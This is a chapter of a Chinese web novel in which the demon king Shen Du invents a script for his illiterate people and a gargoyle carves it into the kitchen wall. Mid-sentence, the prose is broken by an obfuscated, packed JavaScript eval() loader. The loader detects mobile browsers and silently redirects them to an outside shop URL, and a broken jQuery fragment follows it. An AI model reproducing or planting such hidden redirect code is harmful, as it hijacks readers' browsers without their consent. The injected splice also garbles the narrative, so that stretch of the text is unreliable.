第二天，沈渡在书桌前坐了一整天。不是因为他爱读书，是因为他发现了一个问题——这个世界的魔族，没有文字。
不是“文字失传了”，是“从来就没有过”。
魔族世世代代口口相传，历史藏在歌谣里，法律藏在族长们的记忆里，药方藏在巫婆的咒语里。
一个民族，没有史书，没有法典，没有医书，没有一切可以被翻阅、被传抄、被记住的东西。
他们只有喉咙。
但喉咙会老，会哑，会死。人死了，喉咙就没了，那些歌谣、记忆、药方，就跟着埋进了冰原的冻土里，再也挖不出来了。
沈渡坐在书桌前，面前摊着一张羊皮纸，手里握着一支羽毛笔。墨水是黑色的，用煤灰和鹿油调的。小恶魔说这是上一任魔王亲手调的，调了很多，装在玻璃瓶里，够用好几辈子。
沈渡蘸了蘸墨水，在羊皮纸上写了一个字。不是大陆通用文字，不是人类王国使用的任何一种文字，而是一种全新的、来自他家乡、只有他自己看得懂的文字。
它不是一个字，是一套体系。有部首，有偏旁，有笔画顺序，有书写规则。它可以写日出日落，可以写喜怒哀乐，可以写法律条文，可以写情书。它可以是任何东西。因为它还没有被用来写过任何东西。它是一张白纸，等待被填满。
“宿主，你在干嘛？”小零在系统空间里好奇地探出屏幕。
“造字。”
“造字？！你一个人？造一整套文字？你当这是写小说呢？随便编几个好看的就完了？”
沈渡没有回答。他的笔在羊皮纸上移动着，不快不慢，像犁在土地上划开第一道沟。
他先写了数字——一、二、三，横竖撇捺。然后是天地——天是横，地是竖，人在天地之间，是一个叉。然后是日月，山水，草木，鸟兽。
他写了很久，久到小零在系统空间里睡着了，久到石像鬼来送了三次茶，久到窗外的天从灰白变成了深蓝，魔法灯一盏一盏地亮起来，暖黄色的光照在他的银白色头发上，像冬天的霜被夕阳镀了一层金。
小恶魔来送晚饭的时候，羊皮纸上已经密密麻麻地铺满了符号。沈渡的手边堆着七八张写废的草稿，每一张都被划掉了大半，只有最后一张是干净的，字迹工整，排列有序。
小恶魔端着托盘站在门口，红色的尾巴尖卷成一个惊叹号。他不敢进来，因为沈渡说过“不要打扰我”。但他又想进来，因为他看到了那张羊皮纸上的字——不是大陆通用文字，不是任何他见过的文字，但那些笔画之间有一种说不清道不明的东西，像冰原上的风，像雪山的轮廓，像一首他听过但忘了词的歌。
“陛下，”小恶魔的声音比平时小了很多，“晚饭。”
沈渡抬起头，看了他一眼。“进来吧。”
小恶魔走进来，把托盘放在书桌唯一空着的一角。他退后两步，没有走。他站在那里，尾巴尖从惊叹号变成了问号。“陛下，您写的……是什么？”
“字。”
“什么字？”
“给魔族的字。”
小恶魔愣住了。他张了张嘴，又闭上了。他的翅膀不抖了，尾巴不卷了，整个人像一根被点了穴的、红色的、长着蝙蝠翅膀的路灯。他站在那里，眼睛盯着那张羊皮纸，盯着那些陌生的、崭新的、从来没有人见过的符号。他的眼眶红了——红色的眼睛红了，不明显，但沈渡看到了。
“陛下，”小恶魔的声音有点抖，“魔族……没有字。”
“现在有了。”
小恶魔的眼泪掉下来了。不是嚎啕大哭，是两颗很小的、亮晶晶的、像碎冰一样的东西，从他的红色眼睛里滚出来，沿着脸颊滑下去，滴在地板上。他没有擦，吸了吸鼻子。
“陛下，上一任族长——不，上一任魔王——他生前最遗憾的事情，就是魔族没有文字。他说，没有文字的民族，就像没有记忆的人。不知道从哪里来，不知道往哪里去。活着活着就散了，散了就没了。他说，他这辈子最大的愿望，就是让魔族有自己的字。
可是他不会造字。他不是读书人，他是战士。他会挥剑，会射箭，会在冰原上和雪狼搏斗。他不会造字。”
小恶魔的声音越来越小，小到像风从门缝里挤进来的声音。
“他死之前说，下一任魔王，不管是谁，第一件事是先把那些书看完。他说，也许看完书，就知道怎么造字了。”
沈渡看着小恶魔，没有说话。他把那张写满文字的羊皮纸从桌上拿起来，递过去。小恶魔双手接过，像捧着一件易碎的、珍贵的、等了很久的礼物。他低头看着那些字，一个字都不认识。
但他知道，这些字是写给魔族看的。写给那些世世代代在冰原上流浪的、没有文字的、只会唱歌的人看的。现在也是写给他看的。他们是他的族人。他是魔族。他的银白色头发，他的红色眼睛，他的蝙蝠翅膀和尖尾巴，都是魔族的印记。
但他从来没有为这些印记骄傲过，因为骄傲需要资本。魔族没有资本。他们没有土地，没有财富，没有文字，没有历史。他们什么都没有。但他们现在有字了。在他活着的时候，在他的红色眼睛还能看见的时候，在他的尾巴还能卷成惊叹号的时候。他看到了。魔族，有字了。
沈渡没有看小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547274|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
恶魔哭。他低下头，继续写字。他写了很多，写到夜深了，写到魔法水晶灯的光变得昏黄，写到小零在系统空间里翻了个身，说“宿主你还不睡”。他说“快了”。
他放下笔。窗外的天已经黑透了，没有星星，没有月亮，只有风。风从极北之地吹来，穿过冰原，穿过雪原，穿过魔王城紧闭的窗户，在每一个缝隙里呜呜地响，像无数个喉咙在唱歌。唱的是魔族没有歌词的歌，只有调子，苍凉的，悠远的，像大地在呼吸。沈渡靠在椅背上，闭上了眼睛。
第二天早上，天还没亮，小恶魔就冲进了沈渡的卧室。他连门都没敲，翅膀扇得像一台失控的直升机，尾巴卷成了一个巨大的、几乎要从根部断裂的问号。“陛下！陛下！出大事了！”
沈渡从床上坐起来，表情没有任何变化。“什么事？”
“石像鬼！石像鬼他把您昨天写的那些字刻在厨房墙上了！”
沈渡愣了一下。“……厨房？”
“对！厨房！他说‘字是拿来用的，不是拿来供着的。陛下写了字，就要让人看到。厨房是魔域人最多的地方，刻在这里，每个人都能看到。’然后他就刻了。用他的爪子。刻了一整夜。现在整面墙都是字！您去看看！快去！”
沈渡穿上拖鞋——不是拖鞋，是靴子，魔王的靴子是黑色的，皮质的，鞋底很硬，走路会发出咔咔的声音——他走到厨房。
厨房不大，灶台占了半面墙，石像鬼站在灶台前，围裙上沾满了面粉。
他身后的墙上刻满了字。不是画上去的，是刻的。用他那只断了一截的、灰色的、石头做的爪子，一笔一画地刻进了石头里。每个字都有巴掌大，笔画清晰，排列整齐。从数字到天地，从日月到山水，从草木到鸟兽，从最基础的偏旁到最简单的词语……他把沈渡昨天写下的每一个字都刻在了墙上，没有漏掉一个。
沈渡站在厨房门口，看着那面墙，看了很久。他的嘴角弯了一下，很浅，很快，像一道闪电。没有人看到。但小零看到了。“宿主，你在笑。”
“没有。”
“你在笑。我看到你的嘴角弯了。弯了零点三秒。幅度很小，但确实是弯了。你在开心。”
沈渡没有说话。他在想，也许造字不是最难的事情。难的是让字被人看到，被记住，被刻在墙上，被传下去。
传下去——不是写在羊皮纸上，羊皮纸会腐烂；不是刻在木板上，木头会腐朽；不是画在布上，布会碎裂。是刻在石头上，石头不会烂。石头会在这里，在魔王城的厨房里，在灶台旁边，在所有魔族每天都会经过的地方。
几十年，几百年，几千年。